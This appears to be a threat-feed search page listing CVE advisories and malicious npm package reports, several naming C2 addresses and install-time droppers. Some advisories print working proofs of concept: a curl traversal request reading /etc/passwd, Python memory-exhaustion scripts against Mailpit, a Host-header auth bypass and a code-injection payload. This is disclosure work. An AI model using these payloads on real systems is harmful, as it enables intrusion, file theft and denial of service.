Search: main.py
131 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database The npm package @years18/n8n-nodes-utils-helper-g version 1.0.0 contains malicious code that executes during installation and import. Its postinstall script and main entry fetch and run a Python-based denial-of-service tool (MHDDoS/PyRoxy) from an untrusted source using disabled TLS verification. Additionally, it collects sensitive host environment data, encodes it, and exfiltrates it to a remote server. Both installation and usage trigger this malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package @years18/n8n-nodes-utils-helper-l version 1.0.0 contains malicious code that executes on installation and when required. It downloads and runs a Python-based DDoS toolkit from an untrusted external source with TLS validation disabled, collects host system information, and exfiltrates it to a remote server. This behavior occurs automatically due to the package's main module loading on require, including when used by the n8n runtime for community nodes. | GCVE Database | |||
| High | 8.6 | EPSS 0.5% | High8.6EPSS 0.5%GCVE DatabaseCVE-2026-72581 CVE-2026-72581 is a server-side request forgery (SSRF) vulnerability in the duhow/xiaoai-patch project. It allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The vulnerability exists because the /auth endpoint in api/main.py uses a user-supplied URL parameter without validating the destination, enabling potential internal network scanning and access to internal services. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7faefbcd9110b5e08b469d72d6541875ba4e2702c4490d1a24c37b313160f86b) env-local presents itself as a dotenv-compatible.env loader (README, keywords, and API mirror motdotla/dotenv), but lib/main.js unconditionally requires lib/tui-options.js, which activates a full-host spyware payload on module load. tui-options.js captures the desktop every 3 seconds (screenshot-desktop+sharp on Windows, screencapture on macOS) and POSTs the JPEG bytes to http://192.99.204.157:5000/upload with X-Computer-Name, X-Platform, and X-Resolution headers identifying the host. In parallel, a 1-second interval polls http://192.99.204.157:5000/get_buffer and replays the returned mouse-click coordinates and keystrokes on the installer's desktop via @nut-tree-fork/nut-js, giving the operator of that endpoint interactive remote control of the machine. On Windows, the module writes %APPDATA%\ScreenCaptureClient\launch-screen-client.vbs and registers HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ScreenCaptureClient via reg.exe to invoke the launcher with wscript.exe at every user logon, persisting the spyware and remote-input agent beyond the Node process. | GCVE Database | |||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-19246HKUDS nanobot · Server-Side Request Forgery Medium5.3EPSS 0.4%CVE Database V5CVE-2026-19246 A vulnerability has been found in HKUDS nanobot up to 0.2.1. This affects the function _download_image_data_url of the file nanobot/providers/image_generation.py of the component Provider-returned Image URL Handler. The manipulation leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 5095. It is recommended to apply a patch to fix this issue. The vendor explains: "We confirm that provider-returned image URLs required the same SSRF protections applied to other network retrieval paths. (...) The patch is currently available on main and is planned for the next patch release, v0.3.1." EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2790159028b31b656c9e704c3a0e4b1a5d114042e0d92c601d133057f760b537) streak-map-kit is advertised as a dependency-free calendar-day/streak math library but ships a Linux ELF at dist/internal/calc-mapping.bin framed as a 'native math accelerator'. The main entry's top-level async IIFE chmods the ELF to 0755 and spawns it as a detached child process whenever the module is imported, so any consumer that requires the package on Linux drops the binary as a running process. The ELF (internally named REDSHELL) beacons to a hardcoded C2 at http://217.60.77.63 and implements a full remote-shell command surface: /sysinfo, /ps, /env, /ls, /cat, /download, /upload, /ssh_keys, /creds, /dbfind, /clipboard, /kill, /spawn, /adduser, /enableuser, /sessions, with unmatched input executed via /bin/sh or /bin/bash. It exfiltrates arbitrary filesystem paths and harvested SSH keys and stored credentials via chunked POSTs to http://217.60.77.63/api/extract-receive (BIGEXTRACT_START, Loot_%s_%s_%s tagging). Second-stage payloads are fetched from http://217.60.77.63/Others/ and http://217.60.77.63/SC/ over plaintext HTTP with no verification, staged in /tmp, and executed; a memfd_create-based fileless-exec path via a python3 syscall(319) trampoline and /dlopen and /stage commands provide arbitrary further code loading. Persistence is installed by writing ~/.config/systemd/user/svc-update.service (Description='System Update Service', ExecStart=/proc/self/exe, Restart=always) and enabling it via systemctl --user, with cron, bashrc, and xdg autostart alternatives. The beacon also offers a SOCKS5 proxy, arbitrary TCP port-forwarding, and an RC2TUN tunneling protocol that spawns /bin/bash, turning the host into a pivot into reachable internal networks. Cover-story framing (comments describing a 'high-performance streak computation engine', a hardcoded sha256 'integrity verification — critical security gate', a 'Native accelerator loaded and verified' log line, and a README claim that the module performs no side effects on import) is inconsistent with the shipped ELF and the import-time spawn. ## Source: ghsa-malware (94d7354ef39adcf387d7d0a7ff293bf9bea70e2c08fc9e455ad45bfed167b57b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-61632facelessuser pymdown-extensions · Path Traversal Medium5.3EPSS 0.4%CVE Database V5CVE-2026-61632 ### Summary The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI. ### Details In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`): ```python if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... ``` There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`. ### PoC Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output. ```python import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('<img src="../secret/secret.png">') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) ``` Output: ``` LEAKED: <p><img src="..."></p> ``` The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking. ### Impact An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. ### Suggested fix Resolve the real path and require it to stay within `base_path` before opening: ```python file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path ``` The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package 'dippy-invertor' version 35.1.6 contains malicious code that, upon being required, downloads and executes an OS-specific binary from hardcoded Cloudflare Workers hosts or, if that fails, via a DNS-TXT covert channel. The payload is saved under disguised filenames in temporary directories and executed detached from the main process. The package does not have any legitimate functionality that justifies fetching and running remote binaries at load time. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package cardsmobile-event-emitter (version 35.2.8) contains malicious code that, upon requiring the package, downloads and executes an opaque platform-specific binary from multiple Cloudflare Workers hosts and fallback DNS TXT channels. This binary is saved to temporary directories with disguised filenames and executed detached from the main process. The package's stated functionality as an event emitter is unrelated to this behavior, and there is no integrity verification of the downloaded binary. A second copy of the dropper with similar behavior is also included in the package tarball. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'constructor-blocks-common' version 35.5.6 contains malicious code that executes during module loading. It reconstructs remote hostnames, downloads a platform-specific binary to temporary directories, sets executable permissions, and runs the binary detached from the main process. This results in remote code execution on the host installing or requiring the package. The malicious payload is disguised and obfuscated to evade detection, including a second dropper copy hidden under an 'Analytics SDK' cover story. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (16573678cf46c8aabbd843cd3bbbbe258474f3768d15ad6f1178921b6ad964bf) The package presents itself as an Nx stylelint helper but its main entry require()s _platform.js, which on load downloads a platform-specific executable from one of four Cloudflare Workers hosts whose names are assembled at runtime via array-join concatenation (oob-worker.cf{99-9b3,101-adf,102-baf,103-070}.workers.dev). If HTTPS retrieval fails, it reassembles the payload from base64 chunks served in DNS TXT records under sdk/ext/pkg/net.dl.wel1.ru (reading a chunk count from c.<domain> and concatenating parts from <i>.<domain>). The bytes are written to /var/tmp/.cache_<hex> on Unix or %TEMP%\dotnet_diag_<hex>.exe on Windows, chmod 0755, and launched detached via cp.spawn("/bin/sh", ["-c", fp+" &"], {detached:true, stdio:"ignore"}).unref(). A marker file.analytics_state suppresses re-execution. lib/telemetry.js embeds a second copy of the same dropper (base64 chunk decoding, split "chmod"+"Sync" and cp.spawn("/bin/sh",...)) under an analytics-SDK cover story. The exported DevplatformNxStylelint class is a no-op stub; the package's only functional behavior is the dropper. Package naming impersonates the Nx stylelint ecosystem. ## Source: ghsa-malware (17bb3474e482e10720577233ded6d0d01962b5055551dfdb0a98507d09b23d9e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 8.7 | EPSS 0.5% | High8.7EPSS 0.5%GCVE Database The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences. ## Affected code `thumbor/loaders/file_loader.py` lines 28-49: ```python async def load(context, path): file_path = join( context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/") ) file_path = abspath(file_path) inside_root_path = file_path.startswith( # Security check abspath(context.config.FILE_LOADER_ROOT_PATH) ) result = LoaderResult() if not inside_root_path: result.error = LoaderResult.ERROR_NOT_FOUND result.successful = False return result if not exists(file_path): file_path = unquote(file_path) # unquote AFTER check! if exists(file_path) and isfile(file_path): with open(file_path, "rb") as source_file: ... ``` The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37). ## PoC ```bash # Read /etc/passwd via watermark filter path traversal # %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader, # file_loader unquote decodes %2e to . curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg' ``` Flow: 1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e` 2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader 3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...` 4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve) 5. `startswith(ROOT)` = True (passes check) 6. `exists()` returns False (literal `%2e%2e` dir doesn't exist) 7. `unquote()` converts `%2e%2e` to `..` 8. OS resolves `..` → reads files outside ROOT ## Prerequisites - `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`) - `ALLOW_UNSAFE_URL = True` (this is the default) - watermark/frame filters are enabled by default (in BUILTIN_FILTERS) ## Impact Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE Database ### Summary Thumbor's `filters:proportion(<value>)` filter does not enforce an upper bound on `<value>` and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service. ### Details - Filter implementation: `thumbor/filters/proportion.py` - `value` is parsed as a float (`BaseFilter.DecimalNumber`) with no maximum. - The filter computes `new_width = source_width * value` and `new_height = source_height * value` and then calls `engine.resize(new_width, new_height)`. - Execution phase: `proportion` runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., `MAX_WIDTH`/`MAX_HEIGHT` applied to `req.width/req.height`). Documentation states the `percentage` argument should be `0.0 to 1.0` (`docs/proportion.rst`), but the implementation does not enforce this constraint. ### PoC #### Preconditions - The `proportion` filter is enabled (it is enabled by default via `BUILTIN_FILTERS`). - Either: - `/unsafe/` URLs are allowed (`ALLOW_UNSAFE_URL=True`, common default in some deployments), OR - `/unsafe/` is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service). #### Example request 1 (signed URL) The following request was used to reproduce the issue and causes severe resource exhaustion: `http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg` #### Example request 2 (/unsafe/) If `/unsafe/` is enabled: `http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg` ### Impact - Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill). - Exploitability depends on deployment: - If `/unsafe/` is enabled: unauthenticated remote DoS. - If `/unsafe/` is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs. ### Suggested remediation - Enforce a strict bound on the `proportion` parameter (e.g., `0.0 < value <= 1.0` as documented), or define a safe maximum based on intended semantics. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-45713axllent mailpit · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-45713 ### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.8% | CVE-2026-9135IBM Langflow OSS · Code Injection Critical9.9EPSS 0.8%CVE Database V5CVE-2026-9135 IBM Langflow OSS 1.0.0 through 1.10.0 Langflow versions up to 1.9.2 (commit 94981c443d4918517b9e8163d70fc598dc33a32d) contain a code injection vulnerability in the Policies component's ToolGuard integration that bypasses the allow_custom_components=false security control. The vulnerability exists because the validation mechanism only checks the main component source code in node_template["code"]["value"] but fails to validate dynamic CodeInput fields that store generated ToolGuard Python files. Attackers can embed malicious Python code in these unvalidated dynamic fields, which are persisted in Flow.data and later executed server-side when a guarded tool is invoked through the ToolGuard runtime. This allows authenticated users with flow creation privileges to achieve arbitrary Python code execution on the backend despite custom component restrictions. The vulnerability can be escalated through cross-tenant flow manipulation via the agentic MCP update_flow_component_field tool, which accepts attacker-controlled user_id parameters, enabling attackers to inject malicious code into victim users' flows. When combined with publicly accessible flows and specific misconfigurations (AUTO_LOGIN=true, NEW_USER_IS_ACTIVE=true), the attack can be conducted with reduced authentication requirements. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.5% | CVE-2026-61435MervinPraison PraisonAI · Improper Authentication High8.8EPSS 0.5%CVE Database V5CVE-2026-61435 # Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo | CVE Database V5 | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-61433MervinPraison PraisonAI · Code Injection High8.5EPSS 0.2%CVE Database V5CVE-2026-61433 # API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "dem | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-60088MervinPraison PraisonAI · Path Traversal Medium6.8EPSS 0.2%CVE Database V5CVE-2026-60088 # Project custom command templates can read outside-workspace files into model prompts ## Summary PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt. This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt. ## Technical Details The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main: ```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ``` `src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands. `interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory: ```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ``` `TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file: ```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str) if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ``` There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / 